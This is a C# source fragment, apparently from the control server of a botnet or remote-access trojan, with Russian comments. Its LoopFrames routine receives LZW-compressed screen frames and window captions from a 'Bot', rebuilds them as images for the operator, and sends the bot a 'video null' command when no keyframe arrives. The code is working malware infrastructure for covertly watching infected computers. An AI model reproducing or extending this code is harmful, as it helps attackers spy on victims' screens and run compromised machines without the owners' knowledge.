/* * void LoopFrames(Socket sc) * { * int state = 0; * byte[] data = new byte[65536]; * FrameStru frameInfo = new FrameStru(); * Frame prev = null; * int waitFirstFrame = 0; * while (!stop) * { * int size = Server.ReadDataStream(sc, ref data, 2000); * if (size == 0) break; * if (size > 0) * { * switch (state) * { * case 0: //начало видео, ищем начальный кадр * if (size == Frame.SizeFrame) * { * frameInfo = GetFrameStru(data); * if (frameInfo.szStruct == Frame.SizeFrame) * { * if (frameInfo.type == 0) //начальный кадр * { * state = 1; * } * else * { * waitFirstFrame++; * //если долго нет начального кадра, то посылаем команду боту, чтобы дал начальный кадр * if (waitFirstFrame > 10) * { * waitFirstFrame = 0; * ctrl.Bot.server.CM_SendCmd(ctrl.Bot.id, ctrl.Bot.uid, "video null"); * } * } * } * } * break; * case 1: //данные кадра (распаковка картинки) * Frame frame = new Frame(frameInfo.width, frameInfo.height, frameInfo.type, data, size); * Frame next; * Bitmap bmp = frame.GetBitmap(prev, 2, out next); * ctrl.funcSetBitmap(bmp); * prev = next; * if (frameInfo.szCaption > 0) * state = 2; * else * state = 3; * break; * case 2: //чтение заголовка текущего окна * state = 3; * break; * case 3: //заголовок следующего кадра * if (size == Frame.SizeFrame) * { * frameInfo = GetFrameStru(data); * state = 1; * } * else * state = 0; * break; * } * } * } * ctrl.funcSetBitmap(null); * }*/ FrameStru GetFrameStru(byte[] data, int offset) { int size = Frame.SizeFrame; // Marshal.SizeOf(typeof(FrameStru)); byte[] data2 = new byte[size]; Array.Copy(data, offset, data2, 0, size); //переводим байтовый массив в структуру GCHandle handle = GCHandle.Alloc(data2, GCHandleType.Pinned); FrameStru ret = (FrameStru)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(FrameStru)); handle.Free(); return(ret); }
void LoopFrames(Socket sc) { byte[] data = new byte[1024 * 100]; byte[] data2 = null, dataTmp = null; FrameStru frameInfo = new FrameStru(); Frame prev = null; int waitFirstFrame = 0; while (!stop) { int size = Server.ReadDataStream(sc, ref data, 2000); if (size == 0) { break; } if (size > 0) { int sz = BitConverter.ToInt32(data, 0); if (sz < size) { global::Server.LZW lzw = new global::Server.LZW(); if (dataTmp == null || dataTmp.Length < sz) { dataTmp = new byte[sz]; } if (data2 == null || data2.Length < 20 * sz) { data2 = new byte[20 * sz]; } Array.Copy(data, 4, dataTmp, 0, sz); sz = lzw.from_lzw(dataTmp, data2); int i = 0; while (i < sz) { frameInfo = GetFrameStru(data2, i); if (prev != null || frameInfo.type == 0) { Frame frame = new Frame(frameInfo.width, frameInfo.height, frameInfo.type, data2, i + frameInfo.szStruct, frameInfo.szData); Frame next; Bitmap bmp = frame.GetBitmap(prev, 2, out next); ctrl.funcSetBitmap(bmp); prev = next; } else { waitFirstFrame++; //если долго нет начального кадра, то посылаем команду боту, чтобы дал начальный кадр if (waitFirstFrame > 10) { waitFirstFrame = 0; ctrl.Bot.server.CM_SendCmd(ctrl.Bot.id, ctrl.Bot.uid, "video null"); } } i += frameInfo.szStruct + frameInfo.szData + frameInfo.szCaption; } } } } ctrl.funcSetBitmap(null); }